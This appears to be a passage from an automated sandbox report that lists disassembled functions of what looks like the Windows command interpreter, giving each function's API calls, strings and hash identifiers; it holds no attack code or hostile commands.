Instruction ID: cf20dbd0a9507a4f39492c428f16d94cfd8f0b65f92494d58b4367904969733b
Opcode Fuzzy Hash: c6e8eac9f67fe59bd9fb2c0f9ac23fc0cf571fbf97c33f808d400b60daffd583
Instruction Fuzzy Hash: 9E21F632744309ABDB24BAAD6C86B7A2798FB94761F10413DFA0AD62C2FD61DC0143A1

Uniqueness

Uniqueness Score: -1.00%

Function 008827C8, Relevance: 9.1, APIs: 6, Instructions: 86fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 008827DB
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,008AB980,000000FF,0089D620,00002000,00000000,00000000), ref: 0088281C
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,0089D620,-00000001,?,00000000), ref: 00882831
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,008AB980,?,?,00000000), ref: 0088D70D
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,008AB980,00001000,0089D620,00002000,00000000,00000000,00000000), ref: 0088D730
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,0089D620,00000000,?,00000000), ref: 0088D74E

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
String ID:
API String ID: 3249344982-0
Opcode ID: e3b2863d3652b92f85e3a10b1389d39f201a9a2d6368c7a486c57739da093c46
Instruction ID: b78cdb2de309436bb6b91fce2f02272b1f1126f9325b45211fc24f7c633b221a
Opcode Fuzzy Hash: e3b2863d3652b92f85e3a10b1389d39f201a9a2d6368c7a486c57739da093c46
Instruction Fuzzy Hash: DD21A131A84305FBEF206B649D09F6A7BB8FB09B51F244135FA54E72D0D6745D00CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0089265F, Relevance: 9.1, APIs: 6, Instructions: 82memorysynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00892D6D: WaitForSingleObjectEx.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,000000FF,00000000,00000000,00000000,?,00891838,?), ref: 00892D7C

CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?), ref: 008926CD

Part of subcall function 00892DB4: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,?,008926A5,?), ref: 00892DBD
Part of subcall function 00892DB4: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,00000000,?,008926A5,?), ref: 00892DC6
Part of subcall function 00892DB4: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?,008926A5,?), ref: 00892DDF

CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 008926ED
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 008926FD
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?), ref: 00892709
RtlFreeHeap.NTDLL(00000000), ref: 00892710
ReleaseMutex.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?), ref: 00892720

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseHandle$ErrorHeapLast$FreeMutexObjectProcessReleaseSingleWait
String ID:
API String ID: 2383944720-0
Opcode ID: 570986d71d9fa59aeaf7e64861e7dda40ec730d9c4e0d9ae32a17cc262617d0c
Instruction ID: 51d1573b96013310d2fb3970241322e9b8048097aaf21b3f84b264dcc63be3d0
Opcode Fuzzy Hash: 570986d71d9fa59aeaf7e64861e7dda40ec730d9c4e0d9ae32a17cc262617d0c
Instruction Fuzzy Hash: 0D21AF3060111ABBCF25BFAAD84896EB768FF61B407188229F845D3910EB30EC14DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00896E90, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EAB7
Part of subcall function 0087EA40: iswspace.MSVCRT ref: 0087EB2D
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB49
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB6D

_wcsicmp.MSVCRT ref: 00896EFC
_wcsicmp.MSVCRT ref: 00896F1B
_wcsicmp.MSVCRT ref: 00896F41

Strings

OFF, xrefs: 00896F14, 00896F19
LIST, xrefs: 00896F3B
KEYS, xrefs: 00896F2F

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsicmpwcschr$iswspace
String ID: KEYS$LIST$OFF
API String ID: 3924973218-4129271751
Opcode ID: 14680045e556ef9d3cbc9c8ccd700ba6270191c7168f1ac4e1ae7a0a32bd2d05
Instruction ID: 10fdc3ec6f5fc82f53af247fece12dde6b35c932c8f8239a2d230e910c9f607c
Opcode Fuzzy Hash: 14680045e556ef9d3cbc9c8ccd700ba6270191c7168f1ac4e1ae7a0a32bd2d05
Instruction Fuzzy Hash: 8F115C31208601DAAB147B2AFC46C3BB798FBD8768378C01EF547C61C5FE659D118666

Uniqueness

Uniqueness Score: -1.00%

Function 00886CE1, Relevance: 9.1, APIs: 6, Instructions: 79memorysynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?), ref: 008926CD
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 008926ED
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 008926FD
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?), ref: 00892709
RtlFreeHeap.NTDLL(00000000), ref: 00892710
ReleaseMutex.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?), ref: 00892720

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseHandle$Heap$FreeMutexProcessRelease
String ID:
API String ID: 1689195821-0
Opcode ID: f301c38ceed7bc953e89e6d69b7ebf1883afc1d5afac1c68b8cd2fa4332d57b1
Instruction ID: 65620a6803950a91e66f6e6bf9511b7798e6c4e0d96fc664c0b30479d92797cf
Opcode Fuzzy Hash: f301c38ceed7bc953e89e6d69b7ebf1883afc1d5afac1c68b8cd2fa4332d57b1
Instruction Fuzzy Hash: 6F217F30201116BBDF2AFF69D858E6EB768FF61B407188229F446D2914EB34EC14DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00880178, Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00880183
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0088D6A1), ref: 0088018D
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 008801B8
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,00000001), ref: 008801C7
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 008801D2
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20), ref: 008801DB

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 642d2855cb47d7a9aeedb5c607c22947cded33a150b8f77de07ffc695a9679fb
Instruction ID: e26e09d4abbf9c6ab92b8198c6ad573a9335f1e1d82337cd11fde9464a28059a
Opcode Fuzzy Hash: 642d2855cb47d7a9aeedb5c607c22947cded33a150b8f77de07ffc695a9679fb
Instruction Fuzzy Hash: 6411C637808264ABE7516778DD0CB7B3BACFB45335F240315E966D21A0DB744D09DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0088269C, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 008826A7
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0087C5F8,?,?,?), ref: 008826B6
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 008826D2
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,00000002), ref: 008826E1
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 008826EC
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 008826F5

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 4a44468b439d60fb77f7befb42ac16c4fdbe9aa383cf12f7230ee5caea68ca26
Instruction ID: 79263e0626ca868a4a4e5bcb43245e8c89bc42f181a365cdd281735d01f29389
Opcode Fuzzy Hash: 4a44468b439d60fb77f7befb42ac16c4fdbe9aa383cf12f7230ee5caea68ca26
Instruction Fuzzy Hash: FE01D633818525AB8B20777D9C4C9BB37ACFA563317250322FD35D25E0EA358C4A43A0

Uniqueness

Uniqueness Score: -1.00%

Function 0087FE10, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 219COMMON

Download Yara Rule

APIs

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

memset.MSVCRT ref: 0088C954
longjmp.MSVCRT(008AB8F8,000000FF,00000000,008A3892,008A3890,?,?,?,?,0087FD5C,?,?,?,0088837D,00000000), ref: 0088C96D
memcpy.MSVCRT ref: 0088C987
longjmp.MSVCRT(008AB8F8,000000FF,008A3892,008A3890,?,?,?,?,0087FD5C,?,?,?,0088837D,00000000), ref: 0088C9D3

Strings

0123456789, xrefs: 0087FF05

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heaplongjmp$AllocProcessmemcpymemset
String ID: 0123456789
API String ID: 2034586978-2793719750
Opcode ID: 41562cc4884d83adbc3fd1f7269237d4edacd977ac9921162fdd222edee6cdbb
Instruction ID: ed29252ad48e05a453ba31582e1c2f881c856f66ba23b2d64698bcfd3e794c6c
Opcode Fuzzy Hash: 41562cc4884d83adbc3fd1f7269237d4edacd977ac9921162fdd222edee6cdbb
Instruction Fuzzy Hash: 56714735A002019BEB209F6D8C4577A77A5FF81304F288078EA49EB79AEF34DD06C780

Uniqueness

Uniqueness Score: -1.00%

Function 00886390, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 008863D6

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EAB7
Part of subcall function 0087EA40: iswspace.MSVCRT ref: 0087EB2D
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB49
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB6D

??_V@YAXPAX@Z.MSVCRT ref: 008864BF
iswspace.MSVCRT ref: 0088F751

Strings

%s, xrefs: 008864AA

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: wcschr$iswspacememset
String ID: %s
API String ID: 2220997661-3043279178
Opcode ID: b8ed6a6dcf69c6131c25bdb1fb545afe7a66d26f2dd35affe655d62567b41e4b
Instruction ID: 3b3095e82863b41494c8874c8a9a9a8c1b56b25729762df3bf3eb720a15dc710
Opcode Fuzzy Hash: b8ed6a6dcf69c6131c25bdb1fb545afe7a66d26f2dd35affe655d62567b41e4b
Instruction Fuzzy Hash: 05512075A001159BDB24FFA8D8816BEB7E5FF48314F18016AE906D3341EB309E41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 008985E9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

longjmp.MSVCRT(008AB8F8,00000001,00000000,00898DAB,?,?,?,?,00000000,?,00000021,00000000,?,?,?,00000000), ref: 0089865D
memset.MSVCRT ref: 008986B6
memset.MSVCRT ref: 008986E4
memset.MSVCRT ref: 00898712

Part of subcall function 0087CD27: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00899362,00000000,00000000,?,00889814,00000000), ref: 0087CD55

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

Part of subcall function 0087585F: VirtualAlloc.API-MS-WIN-CORE-MEMORY-L1-1-0(00000000,0000FE00,00001000,00000004,00000000,?,00000001,?,008987AD,?,00000000,-00000105,-00000105,-00000105), ref: 00875875

Strings

%9d, xrefs: 0089860C

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$AllocCloseFindVirtuallongjmp
String ID: %9d
API String ID: 973120493-2241623522
Opcode ID: dc020ce4ac27271f2b3d9908e00ce305ebd6685af8e35018906bac65e5fd4f2f
Instruction ID: 0b4719a0563749fe89414d54b12f80200e00128d6745290ef0bb773e2ecfc73c
Opcode Fuzzy Hash: dc020ce4ac27271f2b3d9908e00ce305ebd6685af8e35018906bac65e5fd4f2f
Instruction Fuzzy Hash: 3351B4B1508381DBD764EB78C885AAB7BD9FB85314F040A2EF589D3241EF74D944CB26

Uniqueness

Uniqueness Score: -1.00%

Function 00896456, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

RtlCreateUnicodeStringFromAsciiz.NTDLL(?,?), ref: 008964A1
GlobalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(00000040,00000000), ref: 00896517
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?), ref: 0089657F

Strings

%WINDOWS_COPYRIGHT%, xrefs: 00896487

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Global$AllocAsciizCreateFreeFromStringUnicode
API String ID: 1103618819-4062316587
Opcode ID: 3d5f96c64f21c88bf39ed0d491b75f9c1b65abee8c7dc94c92bdfda08481969a
Instruction ID: 33c34baacc6e14bf6b2548a3c20e17f6ce57c4c39b92277ebf5b67f1ab14af7c
Opcode Fuzzy Hash: 3d5f96c64f21c88bf39ed0d491b75f9c1b65abee8c7dc94c92bdfda08481969a
Instruction Fuzzy Hash: 3341E236A002198BCF20EFA898507BA73B5FF88714B6D006AE945EB354FA75DD53C790

Uniqueness

Uniqueness Score: -1.00%

Function 00892BF0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0(001F0003,00000000,?), ref: 00892CA5
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00892CB7
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00892D29

Strings

_p0, xrefs: 00892C5E
wil, xrefs: 00892CCA, 00892D04

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseErrorHandleLastOpenSemaphore
String ID: _p0$wil
API String ID: 3419097560-1814513734
Opcode ID: 65eff2609cda61a6dd8eb8ce3e1371572edefae50e67531c202ed7af1f28b9e3
Instruction ID: 9614681dd6be2fa0b994257223cf2da8dd0f11f94a703b5ee5e2fe808b27456a
Opcode Fuzzy Hash: 65eff2609cda61a6dd8eb8ce3e1371572edefae50e67531c202ed7af1f28b9e3
Instruction Fuzzy Hash: 4A41EA71A01129ABCF25EF28C945BAE37B5FB84700F1982A8E809DB345DB74DD05C791

Uniqueness

Uniqueness Score: -1.00%

Function 00894588, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 110COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00894635

Part of subcall function 00887721: __iob_func.MSVCRT ref: 00887726

fprintf.MSVCRT ref: 008945B5

Strings

CMD Internal Error %s, xrefs: 008945A7
%s, xrefs: 00894643
Null environment, xrefs: 008945A2

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: __iob_func_wcsnicmpfprintf
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 1828771275-2781220306
Opcode ID: dd2e2366d7c0bfc8e49a7dfe33a4b259bd8f66b2570db8605ab4a83dcd49cbdc
Instruction ID: c11cef83b4bfd0722fc0a06359a2a6d2260fe53149d1f8f2a0261b6970960158
Opcode Fuzzy Hash: dd2e2366d7c0bfc8e49a7dfe33a4b259bd8f66b2570db8605ab4a83dcd49cbdc
Instruction Fuzzy Hash: F1314C72E002159BDF24BFA89C42EAEB3A0FFA4700F19456DEC1AE3345EA305E02C755

Uniqueness

Uniqueness Score: -1.00%

Function 008768D9, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 0087DEF9: iswspace.MSVCRT ref: 0087DF07
Part of subcall function 0087DEF9: wcschr.MSVCRT ref: 0087DF18

wcschr.MSVCRT ref: 00876914
wcschr.MSVCRT ref: 00876926

Strings

&<|>, xrefs: 0088BE70
=,;, xrefs: 0087690F
+: , xrefs: 00876921

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: wcschr$iswspace
String ID: &<|>$+: $=,;
API String ID: 3458554142-2256444845
Opcode ID: d79c25e7cd1eef6939b608717fa27cf54bb26fc71b4e1d4b8a8b031c6cad6fd7
Instruction ID: 6cc9f013a318b2bb067c8aff136b23196704472f0f612e8ae850b1cd59f1cf90
Opcode Fuzzy Hash: d79c25e7cd1eef6939b608717fa27cf54bb26fc71b4e1d4b8a8b031c6cad6fd7
Instruction Fuzzy Hash: DC212B62A04665DAC7348B26C4046BDBBE5FFA5314B24816AEACCD7389F731DC50D351

Uniqueness

Uniqueness Score: -1.00%

Function 00874476, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,02000000,?), ref: 0087449A
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,UBR,00000000,?,?,?), ref: 008744BE
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 008744C9

Strings

UBR, xrefs: 008744B6
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 00874490

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseOpenQueryValue
String ID: Software\Microsoft\Windows NT\CurrentVersion$UBR
API String ID: 3677997916-3870813718
Opcode ID: cfb7a43e1e81e9567f5ffc58d3e0735105186bfac8c2188d9f52d35367ef3514
Instruction ID: 3761b12aa468e245babd6f12f44d2d7ac25834156fd15b41852d73480965cdc3
Opcode Fuzzy Hash: cfb7a43e1e81e9567f5ffc58d3e0735105186bfac8c2188d9f52d35367ef3514
Instruction Fuzzy Hash: 7E014B76E80228BBDB219A959C49FEEBBBCFB84710F104196EA15E2254D2309A40DA54

Uniqueness

Uniqueness Score: -1.00%

Function 0088465D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(KERNEL32.DLL,?,?,?,00884533), ref: 00884687
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(FFFFFFFF,SetThreadUILanguage,?,?,?,00884533), ref: 008846A7

Strings

SetThreadUILanguage, xrefs: 008846A1
KERNEL32.DLL, xrefs: 00884682

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: KERNEL32.DLL$SetThreadUILanguage
API String ID: 1646373207-2530943252
Opcode ID: d460315a3763fa225c9e3e9764541a3e3274bcca8f66f44b0d501fef3a43577f
Instruction ID: b28de0b8e6c7e41ebc3b9d6eef3ba42465d44f0bee96ab94d6b81c4ce2bdd704
Opcode Fuzzy Hash: d460315a3763fa225c9e3e9764541a3e3274bcca8f66f44b0d501fef3a43577f
Instruction Fuzzy Hash: BD01F231A003169BD710BB2CAD08B1A3BA4FB15728F0A0316F925E72E0EB349C018789

Uniqueness

Uniqueness Score: -1.00%

Function 00881F52, Relevance: 7.8, APIs: 5, Instructions: 293COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00881FA3
wcsspn.MSVCRT ref: 00882181
??_V@YAXPAX@Z.MSVCRT ref: 00882278

Part of subcall function 00882D22: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882D87
Part of subcall function 00882D22: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882D91
Part of subcall function 00882D22: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,?,00000000,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882DA4
Part of subcall function 00882D22: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882DAE

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorMode$FullNamePathmemsetwcsspn
String ID:
API String ID: 1535828850-0
Opcode ID: 20d2e9af7410d38ffb27076f5712156b208bf2689f6a37183858e1d45e7bf8a7
Instruction ID: 200a4909602ca1418974009f5fa3fe8cd51311cd7bfcf7dd2d67bcb709bdf14c
Opcode Fuzzy Hash: 20d2e9af7410d38ffb27076f5712156b208bf2689f6a37183858e1d45e7bf8a7
Instruction Fuzzy Hash: 27C17F75A00215CFCB65EF28C894BA9B7B6FF44304F54819AD50ADB391DB30AE86CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00883B5D, Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00883B91

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

??_V@YAXPAX@Z.MSVCRT ref: 00883CF6

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

longjmp.MSVCRT(008AB8B8,00000001,-00000001,00000000,?,00000000), ref: 0088E015

Part of subcall function 0087C923: _wcsicmp.MSVCRT ref: 0087C9CF
Part of subcall function 0087C923: _wcsicmp.MSVCRT ref: 0087C9E5
Part of subcall function 0087C923: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,00000000,?,00000000), ref: 0087CA04
Part of subcall function 0087C923: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087CA15

Part of subcall function 008836CB: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,?,0087590A,00000000), ref: 008836F0

Part of subcall function 00882D22: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882D87
Part of subcall function 00882D22: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882D91
Part of subcall function 00882D22: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,?,00000000,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882DA4
Part of subcall function 00882D22: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00883C29,?,00000000,-00000001,00000000,?,00000000), ref: 00882DAE

GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00000000,-00000001,00000000,?,00000000), ref: 00883CC5
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00883CD0

Part of subcall function 00882349: wcsrchr.MSVCRT ref: 0088234F

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Error$Mode$AttributesFileHeapLast_wcsicmpmemset$AllocCurrentDirectoryFullNamePathProcesslongjmpwcsrchr
String ID:
API String ID: 3402406610-0
Opcode ID: ae5270a456a5f896d447479b0a7e6b71c88dd4fb59fd8bbd7d7fc6a612247217
Instruction ID: 5c79d0a72c010ee2e0d857714e5038ea0e206a8a462802d7ab305dbeb872fb49
Opcode Fuzzy Hash: ae5270a456a5f896d447479b0a7e6b71c88dd4fb59fd8bbd7d7fc6a612247217
Instruction Fuzzy Hash: 6751D731A002299BCB34FBA8D85577EB7F5FF44710F140469E945E7291EB749E81CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0087B710, Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

_setjmp3.MSVCRT ref: 0087B739
memset.MSVCRT ref: 0087B77F
memset.MSVCRT ref: 0087B799
